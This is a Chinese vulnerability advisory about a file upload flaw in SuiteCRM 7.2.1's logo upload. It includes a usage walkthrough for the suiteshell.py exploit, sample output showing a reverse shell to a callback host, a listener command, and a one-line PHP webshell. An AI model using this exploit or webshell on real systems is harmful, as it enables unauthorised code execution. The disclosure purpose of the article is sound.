企业级CRM系统SuiteCRM文件上传漏洞报告(含EXP)

2015-05-20 224126人围观 ,发现 3 个不明物体 漏洞资讯

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

SuiteCRM是一个价格合理并且容易使用的企业级CRM,SuiteCRM的设计初衷是为了帮助您的企业于千载客户沟通,共享销售信息,促成交易以及保持客户开心。 数千家企业每天使用Sugar去管理销售,市场和客户支持。

作为一个开源,基于Web的CRM解决方案,SuiteCRM非常便于修改和适应您不断改变的企业需求。是中小型生意,大型企业以及政府机构的理想解决方案,并且SuiteCRM可以运行于云端或在本地网络里来适应您的需要。

漏洞描述

SuiteCRM在其上传公司LOGO功能中含有一个post-authentication shell上传漏洞,它使用一个黑名单来防止可执行代码上传。此外,它的检查有效图片上传到的临时文件夹可以通过web访问。这就有可能绕过黑名单,通过“phtml”扩展上传可执行PHP代码到这个临时目录,从而进行代码执行。这个漏洞是Xiphos研究室的Darren Martyn发现。测试版本为“suitecrm-7.2.1-max”

用法

只需要选择你想使用的payload(目前只有back_python.php可用,以后准备增加back_php.php和back_perl.php)。这是"payload.php",同样需要你指定一个返回主机和端口。

使用例子

xrl:~$ python2 suiteshell.py http://192.168.2.111/suitecrm-7.2.1-max/ admin admin back_python.php 192.168.2.116 1337
███████╗██╗   ██╗██╗████████╗███████╗███████╗██╗  ██╗███████╗██╗     ██╗     
██╔════╝██║   ██║██║╚══██╔══╝██╔════╝██╔════╝██║  ██║██╔════╝██║     ██║     
███████╗██║   ██║██║   ██║   █████╗  ███████╗███████║█████╗  ██║     ██║     
╚════██║██║   ██║██║   ██║   ██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     
███████║╚██████╔╝██║   ██║   ███████╗███████║██║  ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═╝   ╚═╝   ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝
Exploit for SuiteCRM Post-Auth Shell Upload Version: 20150512.1
{+} Logging into the CRM...
{+} Uploading our shell...
{+} Probing for our shell...
{+} Shell located and functioning at http://192.168.2.111/suitecrm-7.2.1-max/upload/tmp_logo_company_upload/suiteshell.phtml
{*} Sending our payload...
{+} Using 192.168.2.116:1337 as callback...
{+} Dropping shell...
{+} Shell dropped... Triggering...
{+} got shell?
xrl:~$

监听器建议使用tcp-pty-shell-handler[https://github.com/infodox/python-pty-shells]

xrl:~$ python2 /tmp/testing/python-pty-shells/tcp_pty_shell_handler.py -b 0.0.0.0:1337
Got root yet?
Linux hackthecrm 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<suitecrm-7.2.1-max/upload/tmp_logo_company_upload$  cat suiteshell.phtml
<?php @assert(filter_input(0,woot,516)); ?>
<suitecrm-7.2.1-max/upload/tmp_logo_company_upload$

测试截图

时光轴

05/05/2015: 发现漏洞并通过验证,通过twitter联系到SuiteCRM。
06/05/2015: 发送漏洞细节
06/05/2015: SuiteCRM忽略漏洞
12/05/2015: 没有联系SuiteCRM, 编写自动化PoC exploit
20/05/2015: 截至日期到,公布PoC

修复方案

很明显,这不是一个完全意义上的修复方案。上传是需要使用白名单进行完全重写的

https://github.com/salesagility/SuiteCRM/pull/251 [修复详情请关注] 

福利在此

我什么都不知道!

https://github.com/XiphosResearch/exploits/tree/master/suiteshell

*参考来源github,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论

已有 3 条评论

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php